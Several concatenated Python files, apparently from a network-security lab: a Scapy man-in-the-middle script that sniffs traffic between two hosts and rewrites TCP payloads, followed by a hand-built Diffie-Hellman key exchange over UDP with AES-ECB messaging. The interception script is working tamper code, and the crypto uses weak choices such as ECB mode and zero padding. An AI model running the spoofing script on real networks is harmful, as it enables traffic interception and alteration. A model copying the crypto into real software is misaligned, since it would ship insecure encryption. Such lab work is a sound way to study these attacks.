import re
from scapy.all import *

# Machine A's informaton
IP_A  = "192.168.60.2"
MAC_A = "02:42:c0:a8:3c:02"

# Machine B's informaton
# treat Gateway as Machine B
IP_B  = "192.168.60.1"
MAC_B = "02:42:25:83:40:3f"

# Server2's information
IP_Server2 = "10.0.2.7"
MAC_Server2 = "02:42:0a:00:02:07"

# Attacker Machine's informaton
IP_M  = "192.168.60.3"
MAC_M = "02:42:c0:a8:3c:03"

def spoof_pkt(pkt):
    if pkt.haslayer(IP):
        if pkt[IP].src == IP_A and pkt[IP].dst == IP_Server2:
            pkt.src = MAC_M
            pkt.dst = MAC_B
            del pkt[IP].chksum
            del pkt[TCP].chksum
            if pkt.haslayer(TCP) and pkt[TCP].payload:
                data = pkt[TCP].payload.load
                newdata = re.sub(r'[0-9a-zA-Z]', r'Z', data.decode())
                newdata = newdata.encode()
                print("\tdata:{}\n\tnewdata:{}".format(data.decode(), newdata.decode()))
                newpkt = pkt
                del(newpkt[TCP].payload)
                sendp(newpkt/newdata)
            else:
                sendp(pkt)
        elif pkt[IP].src == IP_Server2 and pkt[IP].dst == IP_A:
            pkt.src = MAC_M
            pkt.dst = MAC_A
            del pkt[IP].chksum
            del pkt[TCP].chksum
            sendp(pkt)

f = 'tcp and (ether src {} or ether src {})'.format(MAC_A, MAC_B)
pkt = sniff(filter=f, prn=spoof_pkt)

import random
import time

BLOCK_SIZE = 16

def power(x, y, p):
    res = 1

    x = x % p
    while (y > 0):

        if (y & 1):
            res = (res * x) % p

        y = y>>1
        x = (x * x) % p

    return res

def miillerTest(d, n):

    a = 2 + random.randint(1, n - 4)

    x = power(a, d, n)

    if (x == 1 or x == n - 1):
        return True

    while (d != n - 1):
        x = (x * x) % n
        d *= 2

        if (x == 1):
            return False
        if (x == n - 1):
            return True

    return False

def isPrime(n, k):
    if (n <= 1 or n == 4):
        return False
    if (n <= 3):
        return True

    d = n - 1
    while (d % 2 == 0):
        d //= 2
        
    for i in range(k):
        if (miillerTest(d, n) == False):
            return False

    return True

def EX_GCD(a, b, arr):
    if b == 0:
        arr[0] = 1
        arr[1] = 0
        return a
    g = EX_GCD(b, a % b, arr)
    t = arr[0]
    arr[0] = arr[1]
    arr[1] = t - int(a // b) * arr[1]
    return g

def inverse_mod(a, n):
    arr = [0,1,]
    gcd = EX_GCD(a,n,arr)
    if gcd == 1:
        return (arr[0] % n + n) % n
    else:
        return -1

def genNbitsPrime(n):
    index = n
    num = 0
    for i in range(index):
        num = num * 2 + random.randint(0, 1)
    while num%2 == 0 or isPrime(num, 10) == False:
        num = num + 1
    return num

def Primitiveroot(p):
    k=(p-1) // 2
    for i in range(2, p-1):
        if pow(i, k, p)!=1:
            return i

from enum import Enum
import socket
import struct

from Crypto.Cipher import AES
from Crypto.Util.number import *

import DH_key

MAGIC = b'DH'
VERSION = b'\x01'
DEFAULT_BUFFER_SIZE = 1024
DEFAULT_KEY_BIT_LENGTH = 8*16

class DHType(Enum):
    HANDSHAKE_REQUEST = b'\x01'
    HANDSHAKE_REPLY = b'\x02'
    SEND_DATA = b'\x03'

class DHProto:
    def AES_encrypt(self, message, key):
        key = long_to_bytes(key)
        obj = AES.new(key, AES.MODE_ECB)
        message = message.ljust(16, b'\x00')
        ciphertext = obj.encrypt(message)
        return ciphertext

    def AES_decrypt(self, ciper, key):
        key = long_to_bytes(key)
        obj = AES.new(key, AES.MODE_ECB)
        message = obj.decrypt(ciper)
        return message.rstrip(b'\x00')

    def pack_data(self, message, key):
        DH_type = DHType.SEND_DATA.value
        header = struct.pack('>2sss', MAGIC, VERSION, DH_type)
        data = self.AES_encrypt(message, key)
        return header + data
    def unpack_data(self, data, key):
        magic, ver, DH_type = struct.unpack('>2sss', data[:4])
        if magic != MAGIC or ver != VERSION or DH_type != DHType.SEND_DATA.value:
            return b''
        message = self.AES_decrypt(data[4:], key)
        return message

    def is_send_data(self, pkt_data):
        if len(pkt_data) > 4 and pkt_data[:2] == MAGIC and pkt_data[2:3] == VERSION and pkt_data[3:4] == DHType.SEND_DATA.value:
            return True
        return False
    
    def is_handshake_request(self, pkt_data):
        if len(pkt_data) > 4 and pkt_data[:2] == MAGIC and pkt_data[2:3] == VERSION and pkt_data[3:4] == DHType.HANDSHAKE_REQUEST.value:
            return True
        return False

    def is_handshake_reply(self, pkt_data):
        if len(pkt_data) > 4 and pkt_data[:2] == MAGIC and pkt_data[2:3] == VERSION and pkt_data[3:4] == DHType.HANDSHAKE_REPLY.value:
            return True
        return False
    
    def has_key(self):
        return hasattr(self, "key")

class DHClient(DHProto):
    def __init__(self, target_ip_addr=None, target_port=None, buffer_size=DEFAULT_BUFFER_SIZE):
        self.ip_addr = target_ip_addr
        self.port = target_port
        self._socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        self._buffer_size = buffer_size

    def set_target(self, target_ip_addr, target_port):
        self.ip_addr = target_ip_addr
        self.port = target_port

    def _gen_handshake_request(self, key_bit_len=DEFAULT_KEY_BIT_LENGTH):
        DH_type = DHType.HANDSHAKE_REQUEST.value
        self._p = DH_key.genNbitsPrime(key_bit_len)
        self._g = DH_key.Primitiveroot(self._p)
        self._privite_key = DH_key.genNbitsPrime(key_bit_len)
        self._A = pow(self._g, self._privite_key, self._p)
        key_len = (key_bit_len + 7) // 8
        p = self._p.to_bytes(key_len, byteorder='big')
        g = self._g.to_bytes(key_len, byteorder='big')
        A = self._A.to_bytes(key_len, byteorder='big')
        header = struct.pack('>2sssI', MAGIC, VERSION, DH_type, key_len)
        return header + p + g + A

    def _handle_handshake_reply(self, pkt_data):
        magic, ver, DH_type, key_len = struct.unpack('>2sssI', pkt_data[:8])
        if magic != MAGIC or ver != VERSION or DH_type != DHType.HANDSHAKE_REPLY.value:
            return
        B = int.from_bytes(pkt_data[8:], byteorder='big')
        self.key = pow(B, self._privite_key, self._p)
        print("Client key: " + str(self.key))

    def hand_shake(self):
        data = self._gen_handshake_request()
        self._socket.sendto(data, (self.ip_addr, self.port))
        data, addr = self._socket.recvfrom(self._buffer_size)
        self._handle_handshake_reply(data)

    def send(self, message):
        pkt_data = self.pack_data(message.encode('utf8'), self.key)
        self._socket.sendto(pkt_data, (self.ip_addr, self.port))
        return

    def recv(self):
        pkt_data, addr = self._socket.recvfrom(self._buffer_size)
        if not self.is_send_data(pkt_data):
            return ''
        message = self.unpack_data(pkt_data, self.key).decode('utf8')
        return message

class DHServer(DHProto):
    def __init__(self, ip_addr="127.0.0.1", port=8000, buffer_size=DEFAULT_BUFFER_SIZE):
        self.ip_addr = ip_addr
        self.port = port
        self._socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        self._socket.bind((ip_addr, port))
        self._buffer_size = buffer_size

    def _handle_handshake_request(self, pkt_data):
        magic, ver, DH_type, key_len = struct.unpack('>2sssI', pkt_data[:8])
        if magic != MAGIC or ver != VERSION or DH_type != DHType.HANDSHAKE_REQUEST.value:
            return
        p, g, A = [int.from_bytes(pkt_data[8 + key_len * i: 8 + key_len * (i + 1)], byteorder='big') for i in range(3)]
        self._p = p
        self._g = g
        self._A = A
        self._privite_key = DH_key.genNbitsPrime(key_len)
        self.key = pow(A, self._privite_key, p)
        self._B = pow(g, self._privite_key, p)
        print("Server key: " + str(self.key))
        return

    def _gen_handshake_reply(self):
        DH_type = DHType.HANDSHAKE_REPLY.value
        if not hasattr(self, "_B"):
            return b''
        key_bit_len = self._B.bit_length()
        key_len = (key_bit_len + 7) // 8
        B = self._B.to_bytes(key_len, byteorder='big')
        header = struct.pack('>2sssI', MAGIC, VERSION, DH_type, key_len)
        return header + B

    def hand_shake(self, data, addr):
        if not self.is_handshake_request(data):
            return False
        self._handle_handshake_request(data)
        data = self._gen_handshake_reply()
        self._socket.sendto(data, addr)
        return True

    def send(self, message, addr):
        pkt_data = self.pack_data(message.encode('utf8'), self.key)
        self._socket.sendto(pkt_data, addr)
        return

    def recv(self):
        pkt_data, addr = self._socket.recvfrom(self._buffer_size)
        if not self.is_send_data(pkt_data):
            return ''
        message = self.unpack_data(pkt_data, self.key).decode('utf8')
        return message, addr

    def recv_data(self, message):
        pkt_data, addr = self._socket.recvfrom(self._buffer_size)
        print(pkt_data, addr)
        recv_message = self.unpack_data(pkt_data, self.key).decode('utf8')
        print(recv_message, addr)
        pkt_data = self.pack_data(message.encode('utf8'), self.key)
        self._socket.sendto(pkt_data, addr)

    def run(self):
        data, addr = self._socket.recvfrom(self._buffer_size)
        if self.hand_shake(data, addr):
            while True:
                m, addr2 = self.recv()
                print(m)
                if m == '' or addr2 != addr:
                    break
                self.send('U201911711', addr)

from DH import DHServer

server = DHServer()
server.run()

from DH import DHClient

client = DHClient("127.0.0.1", 8000)
client.hand_shake()
client.send('test')
m = client.recv()
print(m)